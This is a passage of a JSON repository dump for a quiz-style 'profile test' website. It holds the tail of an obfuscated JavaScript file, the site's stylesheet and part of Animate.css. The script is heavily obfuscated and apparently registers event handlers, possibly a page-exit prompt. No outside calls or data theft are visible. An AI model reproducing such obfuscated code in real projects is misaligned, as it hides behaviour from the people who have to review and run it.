DosX_eD(B-DosX_RM_B,W-DosX_RM_W,W,j-DosX_RM_K,D-DosX_RM_j)}DosX_RY_X&&DosX_RY_X[mF(0,DosX_RY_BZ,DosX_RY_Bc,0,DosX_RY_BT)+ml(DosX_RY_BL,DosX_RY_BY,-DosX_RY_BJ,DosX_RY_BA,DosX_RY_Bw)](DosX_RY_U[md(DosX_RY_Bx,0,DosX_RY_o0,DosX_RY_o1,DosX_RY_o2)],n),(DosX_RY_X=document[mE(-DosX_RY_o3,DosX_RY_o4,0,DosX_RY_o6,-DosX_RY_o7)+ml(-DosX_RY_o8,DosX_RY_o9,DosX_RY_oB,DosX_RY_oo,DosX_RY_oq)](ml(DosX_RY_oW,DosX_RY_of,DosX_RY_oK,DosX_RY_op,DosX_RY_oj)+mg(DosX_RY_oy,DosX_RY_oi,0,DosX_RY_oI,DosX_RY_oe)))&&DosX_RY_X[ml(DosX_RY_oD,DosX_RY_on,DosX_RY_om,DosX_RY_oP,DosX_RY_oC)+ml(-DosX_RY_oU,DosX_RY_oX,DosX_RY_oN,-DosX_RY_oR,-DosX_RY_oV)](DosX_RY_U[ml(DosX_RY_ov,DosX_RY_L,DosX_RY_oa,DosX_RY_oO,DosX_RY_G)],b),window[ml(DosX_RY_or,DosX_RY_ob,DosX_RY_oQ,-DosX_RY_ok,DosX_RY_oh)+mg(DosX_RY_oz,DosX_RY_oH,0,DosX_RY_og,DosX_RY_oE)](ml(DosX_RY_ol,DosX_RY_oF,DosX_RY_oS,DosX_RY_oM,DosX_RY_ot)+mE(DosX_RY_oZ,DosX_RY_oc,0,DosX_RY_oT,DosX_RY_oL),D=>{var DosX_Rc_B=982,DosX_Rc_K=167,DosX_Rc_j=236,DosX_RZ_B=1221,DosX_RZ_K=374,DosX_RZ_j=390,DosX_Rt_B=362,DosX_Rt_K=214,DosX_Rt_j=325;function mS(B,W,K,j,D){return mE(B-DosX_Rt_B,B,0,W- -DosX_Rt_K,D-DosX_Rt_j)}function mt(B,W,K,j){return md(K- -DosX_Rc_B,0,K-DosX_Rc_K,j-DosX_Rc_j,j)}function mc(B,W,K,j){return md(B- -DosX_Rs_B,0,K-DosX_Rs_K,j-DosX_Rs_j,W)}function mZ(B,W,K,j){return md(B- -DosX_RT_B,0,K-DosX_RT_K,j-DosX_RT_j,W)}if(0<i&&i<g[mS(DosX_RL_B,DosX_RL_W,0,0,-DosX_RL_D)])return D[mS(DosX_RL_U,DosX_RL_X,0,0,DosX_RL_V)+((B,j,D)=>mg(D-DosX_RZ_B,B,0,j-DosX_RZ_K,D-DosX_RZ_j))(DosX_RL_O,-DosX_RL_H,DosX_RL_F)](),D[mZ(DosX_RL_Z,DosX_RL_L,DosX_RL_Y,DosX_RL_J)+\"ue\"]=mS(DosX_RL_B0,DosX_RL_B1,0,0,DosX_RL_B4)+mc(DosX_RL_B5,DosX_RL_B6,DosX_RL_B7,DosX_RL_B8)+mc(DosX_RL_BB,DosX_RL_Bo,DosX_RL_Bq,DosX_RL_BW)+mt(0,0,DosX_RL_Bj,DosX_RL_By)+mt(0,0,DosX_RL_Be,DosX_RL_BD)+mZ(DosX_RL_Bm,DosX_RL_BP,DosX_RL_BC,DosX_RL_BU)+mc(DosX_RL_BN,DosX_RL_BR,DosX_RL_BV,DosX_RL_Bv)+mS(DosX_RL_BO,-DosX_RL_Br,0,0,-DosX_RL_Bk),D[mZ(DosX_RL_Z,DosX_RL_L,DosX_RL_Bh,DosX_RL_Bz)+\"ue\"]})});"
  },
  {
    "path": "mov/@my-profile-test/style.css",
    "content": "@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');\n\n* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\n:root {\n    --primary-color: #64748b;\n    --primary-hover: #475569;\n    --secondary-color: #94a3b8;\n    --accent-color: #cbd5e1;\n    --bg-dark: #0f1419;\n    --bg-card: #1a1f26;\n    --bg-card-hover: #252b33;\n    --text-primary: #e2e8f0;\n    --text-secondary: #94a3b8;\n    --border-color: #334155;\n    --success-color: #64748b;\n    --warning-color: #94a3b8;\n    --shadow: 0 20px 50px rgba(0, 0, 0, 0.5);\n}\n\nbody {\n    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    background: var(--bg-dark);\n    color: var(--text-primary);\n    line-height: 1.6;\n    overflow-x: hidden;\n    min-height: 100vh;\n    user-select: none;\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n}\n\n/* Анимированный фон */\n.animated-bg {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: -1;\n    overflow: hidden;\n}\n\n.gradient-orb {\n    position: absolute;\n    border-radius: 50%;\n    filter: blur(100px);\n    opacity: 0.5;\n    animation: float 20s infinite ease-in-out;\n    will-change: transform;\n}\n\n.orb-1 {\n    width: 600px;\n    height: 600px;\n    background: radial-gradient(circle, #475569, transparent);\n    top: -250px;\n    left: -250px;\n    animation-delay: 0s;\n}\n\n.orb-2 {\n    width: 550px;\n    height: 550px;\n    background: radial-gradient(circle, #64748b, transparent);\n    bottom: -200px;\n    right: -200px;\n    animation-delay: 7s;\n}\n\n.orb-3 {\n    width: 500px;\n    height: 500px;\n    background: radial-gradient(circle, #94a3b8, transparent);\n    top: 50%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n    animation-delay: 14s;\n}\n\n@keyframes float {\n    0% {\n        transform: translate(0, 0) scale(1);\n    }\n    25% {\n        transform: translate(150px, -120px) scale(1.2);\n    }\n    50% {\n        transform: translate(-100px, 80px) scale(0.9);\n    }\n    75% {\n        transform: translate(120px, 150px) scale(1.1);\n    }\n    100% {\n        transform: translate(0, 0) scale(1);\n    }\n}\n\n/* Контейнер */\n.container {\n    max-width: 900px;\n    margin: 0 auto;\n    padding: 40px 20px;\n    position: relative;\n    z-index: 1;\n}\n\n/* Баннер */\n.banner {\n    margin-bottom: 40px;\n    border-radius: 20px;\n    overflow: hidden;\n    box-shadow: var(--shadow);\n    animation: fadeInDown 0.8s ease-out;\n}\n\n.banner-image {\n    width: 100%;\n    height: auto;\n    display: block;\n    transition: transform 0.5s ease;\n}\n\n.banner:hover .banner-image {\n    transform: scale(1.02);\n}\n\n@keyframes fadeInDown {\n    from {\n        opacity: 0;\n        transform: translateY(-30px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n/* Экраны */\n.screen {\n    display: none;\n    animation: fadeIn 0.5s ease-out;\n}\n\n.screen.active {\n    display: block;\n}\n\n@keyframes fadeIn {\n    from {\n        opacity: 0;\n    }\n    to {\n        opacity: 1;\n    }\n}\n\n/* Карточки контента */\n.content-card {\n    background: var(--bg-card);\n    border: 1px solid var(--border-color);\n    border-radius: 24px;\n    padding: 50px;\n    box-shadow: var(--shadow);\n    backdrop-filter: blur(10px);\n    animation: scaleIn 0.5s ease-out;\n    transition: all 0.3s ease;\n}\n\n.content-card:hover {\n    background: var(--bg-card-hover);\n    border-color: var(--primary-color);\n    box-shadow: 0 25px 60px rgba(99, 102, 241, 0.2);\n}\n\n@keyframes scaleIn {\n    from {\n        opacity: 0;\n        transform: scale(0.95);\n    }\n    to {\n        opacity: 1;\n        transform: scale(1);\n    }\n}\n\n/* Приветственный экран */\n#welcome-screen h1 {\n    font-size: 2.5rem;\n    font-weight: 700;\n    margin-bottom: 15px;\n    background: linear-gradient(135deg, #94a3b8, #cbd5e1);\n    -webkit-background-clip: text;\n    -webkit-text-fill-color: transparent;\n    background-clip: text;\n}\n\n.subtitle {\n    font-size: 1.125rem;\n    color: var(--text-secondary);\n    margin-bottom: 40px;\n}\n\n.input-group {\n    margin-bottom: 35px;\n}\n\n.input-group label {\n    display: block;\n    margin-bottom: 10px;\n    font-weight: 500;\n    color: var(--text-primary);\n    font-size: 0.95rem;\n}\n\n.input-group input {\n    width: 100%;\n    padding: 16px 20px;\n    background: var(--bg-dark);\n    border: 2px solid var(--border-color);\n    border-radius: 12px;\n    color: var(--text-primary);\n    font-size: 1rem;\n    font-family: inherit;\n    transition: all 0.3s ease;\n    user-select: text;\n    -webkit-user-select: text;\n    -moz-user-select: text;\n    -ms-user-select: text;\n}\n\n.input-group input:focus {\n    outline: none;\n    border-color: var(--primary-color);\n    box-shadow: 0 0 0 4px rgba(99, 102, 241, 0.1);\n}\n\n.input-group input::placeholder {\n    color: var(--text-secondary);\n}\n\n/* Кнопки */\n.btn-primary, .btn-secondary {\n    padding: 16px 40px;\n    border: none;\n    border-radius: 12px;\n    font-size: 1rem;\n    font-weight: 600;\n    font-family: inherit;\n    cursor: pointer;\n    transition: all 0.3s ease;\n    position: relative;\n    overflow: hidden;\n}\n\n.btn-primary {\n    background: linear-gradient(135deg, #64748b, #94a3b8);\n    color: white;\n    box-shadow: 0 10px 30px rgba(100, 116, 139, 0.3);\n}\n\n.btn-primary:hover {\n    transform: translateY(-2px);\n    box-shadow: 0 15px 40px rgba(100, 116, 139, 0.4);\n}\n\n.btn-primary:active {\n    transform: translateY(0);\n}\n\n.btn-secondary {\n    background: var(--bg-dark);\n    color: var(--text-primary);\n    border: 2px solid var(--border-color);\n}\n\n.btn-secondary:hover {\n    border-color: var(--primary-color);\n    background: var(--bg-card);\n}\n\n/* Прогресс бар */\n.progress-bar {\n    width: 100%;\n    height: 6px;\n    background: var(--bg-card);\n    border-radius: 10px;\n    margin-bottom: 20px;\n    overflow: hidden;\n    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.3);\n}\n\n.progress-fill {\n    height: 100%;\n    background: linear-gradient(90deg, #64748b, #94a3b8);\n    border-radius: 10px;\n    transition: width 0.4s ease;\n    box-shadow: 0 0 10px rgba(100, 116, 139, 0.5);\n}\n\n.question-counter {\n    text-align: center;\n    margin-bottom: 25px;\n    font-size: 1rem;\n    color: var(--text-secondary);\n    font-weight: 500;\n}\n\n.question-counter #current-question {\n    color: var(--primary-color);\n    font-weight: 700;\n    font-size: 1.2rem;\n}\n\n/* Вопросы */\n.question-text {\n    font-size: 1.5rem;\n    font-weight: 600;\n    margin-bottom: 35px;\n    line-height: 1.4;\n    color: var(--text-primary);\n}\n\n.answers-container {\n    display: flex;\n    flex-direction: column;\n    gap: 15px;\n}\n\n.answer-option {\n    padding: 20px 25px;\n    background: var(--bg-dark);\n    border: 2px solid var(--border-color);\n    border-radius: 16px;\n    cursor: pointer;\n    transition: all 0.3s ease;\n    font-size: 1rem;\n    color: var(--text-primary);\n    position: relative;\n    overflow: hidden;\n}\n\n.answer-option::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: -100%;\n    width: 100%;\n    height: 100%;\n    background: linear-gradient(90deg, transparent, rgba(100, 116, 139, 0.1), transparent);\n    transition: left 0.5s ease;\n}\n\n.answer-option:hover::before {\n    left: 100%;\n}\n\n.answer-option:hover {\n    border-color: var(--primary-color);\n    background: var(--bg-card);\n    transform: translateX(5px);\n    box-shadow: 0 5px 20px rgba(100, 116, 139, 0.2);\n}\n\n.answer-option:active {\n    transform: scale(0.98);\n}\n\n/* Результаты */\n.results-card {\n    max-width: 100%;\n}\n\n#certificate {\n    margin-bottom: 35px;\n}\n\n.certificate-header {\n    text-align: center;\n    margin-bottom: 40px;\n    padding-bottom: 30px;\n    border-bottom: 2px solid var(--border-color);\n}\n\n.certificate-header h1 {\n    font-size: 2.2rem;\n    font-weight: 700;\n    margin-bottom: 10px;\n    background: linear-gradient(135deg, #94a3b8, #cbd5e1);\n    -webkit-background-clip: text;\n    -webkit-text-fill-color: transparent;\n    background-clip: text;\n}\n\n.cert-username {\n    font-size: 1.3rem;\n    color: var(--text-secondary);\n    font-weight: 500;\n}\n\n.stats-grid {\n    display: flex;\n    flex-direction: column;\n    gap: 25px;\n    margin-bottom: 40px;\n}\n\n.stat-item {\n    display: flex;\n    flex-direction: column;\n    gap: 10px;\n}\n\n.stat-label {\n    font-weight: 600;\n    color: var(--text-primary);\n    font-size: 1rem;\n}\n\n.stat-bar {\n    width: 100%;\n    height: 14px;\n    background: var(--bg-dark);\n    border-radius: 10px;\n    overflow: hidden;\n    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.3);\n}\n\n.stat-fill {\n    height: 100%;\n    border-radius: 10px;\n    transition: width 1.5s cubic-bezier(0.4, 0, 0.2, 1);\n    position: relative;\n    overflow: hidden;\n}\n\n#analytical-bar {\n    background: linear-gradient(90deg, #475569, #64748b);\n}\n\n#patient-bar {\n    background: linear-gradient(90deg, #64748b, #94a3b8);\n}\n\n#intelligent-bar {\n    background: linear-gradient(90deg, #94a3b8, #cbd5e1);\n}\n\n#creative-bar {\n    background: linear-gradient(90deg, #cbd5e1, #e2e8f0);\n}\n\n#stress-bar {\n    background: linear-gradient(90deg, #e2e8f0, #f1f5f9);\n}\n\n#communication-bar {\n    background: linear-gradient(90deg, #f1f5f9, #ffffff);\n}\n\n.stat-fill::after {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    right: 0;\n    bottom: 0;\n    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);\n    animation: shimmer 2s infinite;\n}\n\n@keyframes shimmer {\n    0% {\n        transform: translateX(-100%);\n    }\n    100% {\n        transform: translateX(100%);\n    }\n}\n\n#analytical-bar {\n    background: linear-gradient(90deg, #475569, #64748b);\n}\n\n#patient-bar {\n    background: linear-gradient(90deg, #64748b, #94a3b8);\n}\n\n#intelligent-bar {\n    background: linear-gradient(90deg, #94a3b8, #cbd5e1);\n}\n\n.stat-value {\n    font-weight: 700;\n    font-size: 1.1rem;\n    color: var(--primary-color);\n}\n\n.profile-description, .recommendations {\n    margin-bottom: 35px;\n}\n\n.profile-description h3, .recommendations h3 {\n    font-size: 1.4rem;\n    font-weight: 600;\n    margin-bottom: 15px;\n    color: var(--text-primary);\n}\n\n.profile-description p {\n    font-size: 1.05rem;\n    line-height: 1.7;\n    color: var(--text-secondary);\n}\n\n.recommendations ul {\n    list-style: none;\n    padding: 0;\n}\n\n.recommendations li {\n    padding: 12px 0;\n    padding-left: 30px;\n    position: relative;\n    font-size: 1rem;\n    color: var(--text-secondary);\n    line-height: 1.6;\n}\n\n.recommendations li::before {\n    content: '▸';\n    position: absolute;\n    left: 0;\n    color: var(--primary-color);\n    font-weight: 700;\n    font-size: 1.2rem;\n}\n\n.weaknesses {\n    margin: 40px 0;\n}\n\n.weaknesses h3 {\n    color: #e74c3c;\n    margin-bottom: 20px;\n}\n\n.weaknesses ul {\n    list-style: none;\n    padding: 0;\n}\n\n.weaknesses li {\n    padding: 12px 0;\n    padding-left: 30px;\n    position: relative;\n    font-size: 1rem;\n    color: var(--text-secondary);\n    line-height: 1.6;\n}\n\n.weaknesses li::before {\n    content: '⚠';\n    position: absolute;\n    left: 0;\n    color: #e74c3c;\n    font-weight: 700;\n    font-size: 1.2rem;\n}\n\n.certificate-footer {\n    text-align: center;\n    padding-top: 30px;\n    border-top: 2px solid var(--border-color);\n    margin-top: 40px;\n}\n\n.certificate-footer p {\n    color: var(--text-secondary);\n    font-size: 0.95rem;\n    margin: 5px 0;\n}\n\n.date {\n    font-weight: 600;\n    color: var(--primary-color);\n    text-align: center;\n}\n\n.action-buttons {\n    display: flex;\n    gap: 15px;\n    justify-content: center;\n    flex-wrap: wrap;\n}\n\n/* Информация о предыдущем тесте */\n.previous-test-info {\n    background: rgba(100, 116, 139, 0.1);\n    border: 1px solid rgba(100, 116, 139, 0.3);\n    border-radius: 16px;\n    padding: 20px;\n    margin-bottom: 30px;\n    text-align: center;\n    animation: fadeIn 0.5s ease-out;\n}\n\n.previous-test-info p {\n    color: var(--primary-color);\n    font-weight: 600;\n    font-size: 1rem;\n    margin: 0;\n}\n\n/* Адаптивность */\n@media (max-width: 768px) {\n    .container {\n        padding: 20px 15px;\n    }\n\n    .banner {\n        border-radius: 16px;\n        margin-bottom: 30px;\n    }\n\n    .content-card {\n        padding: 30px 25px;\n        border-radius: 20px;\n    }\n\n    #welcome-screen h1 {\n        font-size: 2rem;\n    }\n\n    .subtitle {\n        font-size: 1rem;\n    }\n\n    .question-text {\n        font-size: 1.25rem;\n        margin-bottom: 25px;\n    }\n\n    .answer-option {\n        padding: 16px 20px;\n        font-size: 0.95rem;\n    }\n\n    .certificate-header h1 {\n        font-size: 1.8rem;\n    }\n\n    .cert-username {\n        font-size: 1.1rem;\n    }\n\n    .action-buttons {\n        flex-direction: column;\n    }\n\n    .btn-primary, .btn-secondary {\n        width: 100%;\n    }\n\n    .gradient-orb {\n        filter: blur(60px);\n    }\n\n    .orb-1 {\n        width: 300px;\n        height: 300px;\n    }\n\n    .orb-2 {\n        width: 250px;\n        height: 250px;\n    }\n\n    .orb-3 {\n        width: 200px;\n        height: 200px;\n    }\n}\n\n@media (max-width: 480px) {\n    .content-card {\n        padding: 25px 20px;\n    }\n\n    #welcome-screen h1 {\n        font-size: 1.7rem;\n    }\n\n    .question-text {\n        font-size: 1.1rem;\n    }\n\n    .certificate-header h1 {\n        font-size: 1.5rem;\n    }\n\n    .btn-primary, .btn-secondary {\n        padding: 14px 30px;\n        font-size: 0.95rem;\n    }\n}\n\n/* Плавная прокрутка */\nhtml {\n    scroll-behavior: smooth;\n}\n\n/* Скрытие полосы прокрутки с сохранением функциональности */\n::-webkit-scrollbar {\n    width: 10px;\n}\n\n::-webkit-scrollbar-track {\n    background: var(--bg-dark);\n}\n\n::-webkit-scrollbar-thumb {\n    background: var(--border-color);\n    border-radius: 5px;\n}\n\n::-webkit-scrollbar-thumb:hover {\n    background: var(--primary-color);\n}"
  },
  {
    "path": "mov/css/animate.css",
    "content": "@charset \"UTF-8\";\n\n/*!\nAnimate.css - http://daneden.me/animate\nLicensed under the MIT license - http://opensource.org/licenses/MIT\n\nCopyright (c) 2015 Daniel Eden\n*/\n\n.animated {\n  -webkit-animation-duration: 3s;\n  animation-duration: 3s;\n  -webkit-animation-fill-mode: both;\n  animation-fill-mode: both;\n}\n\n.animated-middle {\n  -webkit-animation-duration: 1.2s;\n  animation-duration: 1.2s;\n  -webkit-animation-fill-mode: both;\n  animation-fill-mode: both;\n}\n\n.animated-quick {\n  -webkit-animation-duration: 0.6s;\n  animation-duration: 0.6s;\n  -webkit-animation-fill-mode: both;\n  animation-fill-mode: both;\n}\n\n.animated.infinite {\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n}\n\n.animated.hinge {\n  -webkit-animation-duration: 2s;\n  animation-duration: 2s;\n}\n\n.animated.bounceIn,\n.animated.bounceOut {\n  -webkit-animation-duration: .75s;\n  animation-duration: .75s;\n}\n\n.animated.flipOutX,\n.animated.flipOutY {\n  -webkit-animation-duration: .75s;\n  animation-duration: .75s;\n}\n\n@-webkit-keyframes bounce {\n  from, 20%, 53%, 80%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    -webkit-transform: translate3d(0,0,0);\n    transform: translate3d(0,0,0);\n  }\n\n  40%, 43% {\n    -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    -webkit-transform: translate3d(0, -30px, 0);\n    transform: translate3d(0, -30px, 0);\n  }\n\n  70% {\n    -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    -webkit-transform: translate3d(0, -15px, 0);\n    transform: translate3d(0, -15px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0,-4px,0);\n    transform: translate3d(0,-4px,0);\n  }\n}\n\n@keyframes bounce {\n  from, 20%, 53%, 80%, 100% {\n    -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n    -webkit-transform: translate3d(0,0,0);\n    transform: translate3d(0,0,0);\n  }\n\n  40%, 43% {\n    -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    -webkit-transform: translate3d(0, -30px, 0);\n    transform: translate3d(0, -30px, 0);\n  }\n\n  70% {\n    -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);\n    -webkit-transform: translate3d(0, -15px, 0);\n    transform: translate3d(0, -15px, 0);\n  }\n\n  90% {\n    -webkit-transform: translate3d(0,-4px,0);\n    transform: translate3d(0,-4px,0);\n  }\n}\n\n.bounce {\n  -webkit-animation-name: bounce;\n  animation-name: bounce;\n  -webkit-transform-origin: center bottom;\n  transform-origin: center bottom;\n}\n\n@-webkit-keyframes flash {\n  from, 50%, 100% {\n    opacity: 1;\n  }\n\n  25%, 75% {\n    opacity: 0;\n  }\n}\n\n@keyframes flash {\n  from, 50%, 100% {\n    opacity: 1;\n  }\n\n  25%, 75% {\n    opacity: 0;\n  }\n}\n\n.flash {\n  -webkit-animation-name: flash;\n  animation-name: flash;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@-webkit-keyframes pulse {\n  from {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  50% {\n    -webkit-transform: scale3d(1.05, 1.05, 1.05);\n    transform: scale3d(1.05, 1.05, 1.05);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@keyframes pulse {\n  from {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  50% {\n    -webkit-transform: scale3d(1.05, 1.05, 1.05);\n    transform: scale3d(1.05, 1.05, 1.05);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.pulse {\n  -webkit-animation-name: pulse;\n  animation-name: pulse;\n}\n\n@-webkit-keyframes rubberBand {\n  from {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  30% {\n    -webkit-transform: scale3d(1.25, 0.75, 1);\n    transform: scale3d(1.25, 0.75, 1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(0.75, 1.25, 1);\n    transform: scale3d(0.75, 1.25, 1);\n  }\n\n  50% {\n    -webkit-transform: scale3d(1.15, 0.85, 1);\n    transform: scale3d(1.15, 0.85, 1);\n  }\n\n  65% {\n    -webkit-transform: scale3d(.95, 1.05, 1);\n    transform: scale3d(.95, 1.05, 1);\n  }\n\n  75% {\n    -webkit-transform: scale3d(1.05, .95, 1);\n    transform: scale3d(1.05, .95, 1);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@keyframes rubberBand {\n  from {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  30% {\n    -webkit-transform: scale3d(1.25, 0.75, 1);\n    transform: scale3d(1.25, 0.75, 1);\n  }\n\n  40% {\n    -webkit-transform: scale3d(0.75, 1.25, 1);\n    transform: scale3d(0.75, 1.25, 1);\n  }\n\n  50% {\n    -webkit-transform: scale3d(1.15, 0.85, 1);\n    transform: scale3d(1.15, 0.85, 1);\n  }\n\n  65% {\n    -webkit-transform: scale3d(.95, 1.05, 1);\n    transform: scale3d(.95, 1.05, 1);\n  }\n\n  75% {\n    -webkit-transform: scale3d(1.05, .95, 1);\n    transform: scale3d(1.05, .95, 1);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.rubberBand {\n  -webkit-animation-name: rubberBand;\n  animation-name: rubberBand;\n}\n\n@-webkit-keyframes shake {\n  from, 100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  10%, 30%, 50%, 70%, 90% {\n    -webkit-transform: translate3d(-10px, 0, 0);\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  20%, 40%, 60%, 80% {\n    -webkit-transform: translate3d(10px, 0, 0);\n    transform: translate3d(10px, 0, 0);\n  }\n}\n\n@keyframes shake {\n  from, 100% {\n    -webkit-transform: translate3d(0, 0, 0);\n    transform: translate3d(0, 0, 0);\n  }\n\n  10%, 30%, 50%, 70%, 90% {\n    -webkit-transform: translate3d(-10px, 0, 0);\n    transform: translate3d(-10px, 0, 0);\n  }\n\n  20%, 40%, 60%, 80% {\n    -webkit-transform: translate3d(10px, 0, 0);\n    transform: translate3d(10px, 0, 0);\n  }\n}\n\n.shake {\n  -webkit-animation-name: shake;\n  animation-name: shake;\n}\n\n@-webkit-keyframes swing {\n  20% {\n    -webkit-transform: rotate3d(0, 0, 1, 15deg);\n    transform: rotate3d(0, 0, 1, 15deg);\n  }\n\n  40% {\n    -webkit-transform: rotate3d(0, 0, 1, -10deg);\n    transform: rotate3d(0, 0, 1, -10deg);\n  }\n\n  60% {\n    -webkit-transform: rotate3d(0, 0, 1, 5deg);\n    transform: rotate3d(0, 0, 1, 5deg);\n  }\n\n  80% {\n    -webkit-transform: rotate3d(0, 0, 1, -5deg);\n    transform: rotate3d(0, 0, 1, -5deg);\n  }\n\n  100% {\n    -webkit-transform: rotate3d(0, 0, 1, 0deg);\n    transform: rotate3d(0, 0, 1, 0deg);\n  }\n}\n\n@keyframes swing {\n  20% {\n    -webkit-transform: rotate3d(0, 0, 1, 15deg);\n    transform: rotate3d(0, 0, 1, 15deg);\n  }\n\n  40% {\n    -webkit-transform: rotate3d(0, 0, 1, -10deg);\n    transform: rotate3d(0, 0, 1, -10deg);\n  }\n\n  60% {\n    -webkit-transform: rotate3d(0, 0, 1, 5deg);\n    transform: rotate3d(0, 0, 1, 5deg);\n  }\n\n  80% {\n    -webkit-transform: rotate3d(0, 0, 1, -5deg);\n    transform: rotate3d(0, 0, 1, -5deg);\n  }\n\n  100% {\n    -webkit-transform: rotate3d(0, 0, 1, 0deg);\n    transform: rotate3d(0, 0, 1, 0deg);\n  }\n}\n\n.swing {\n  -webkit-transform-origin: top center;\n  transform-origin: top center;\n  -webkit-animation-name: swing;\n  animation-name: swing;\n}\n\n@-webkit-keyframes tada {\n  from {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  10%, 20% {\n    -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);\n    transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);\n  }\n\n  30%, 50%, 70%, 90% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);\n    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);\n  }\n\n  40%, 60%, 80% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);\n    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n@keyframes tada {\n  from {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n\n  10%, 20% {\n    -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);\n    transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);\n  }\n\n  30%, 50%, 70%, 90% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);\n    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);\n  }\n\n  40%, 60%, 80% {\n    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);\n    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);\n  }\n\n  100% {\n    -webkit-transform: scale3d(1, 1, 1);\n    transform: scale3d(1, 1, 1);\n  }\n}\n\n.tada {\n  -webkit-animation-name: tada;\n  animation-name: tada;\n}\n\n/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */\n\n@-webkit-keyframes wobble {\n  from {\n    -webkit-transform: none;\n    transform: none;\n  }\n\n  15% {\n    -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);\n    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);\n  }\n\n  30% {\n    -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);\n    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);\n  }\n\n  45% {\n    -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);\n    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);\n  }\n\n  60% {\n    -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);\n    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);\n  }\n\n  75% {\n    -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);\n    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);\n  }\n\n  100% {\n    -webkit-transform: none;\n    transform: none;\n  }\n}\n\n@keyframes wobble {\n  from {\n    -webkit-transform: none;\n    transform: none;\n  }\n\n  15% {\n    -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);\n    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);\n  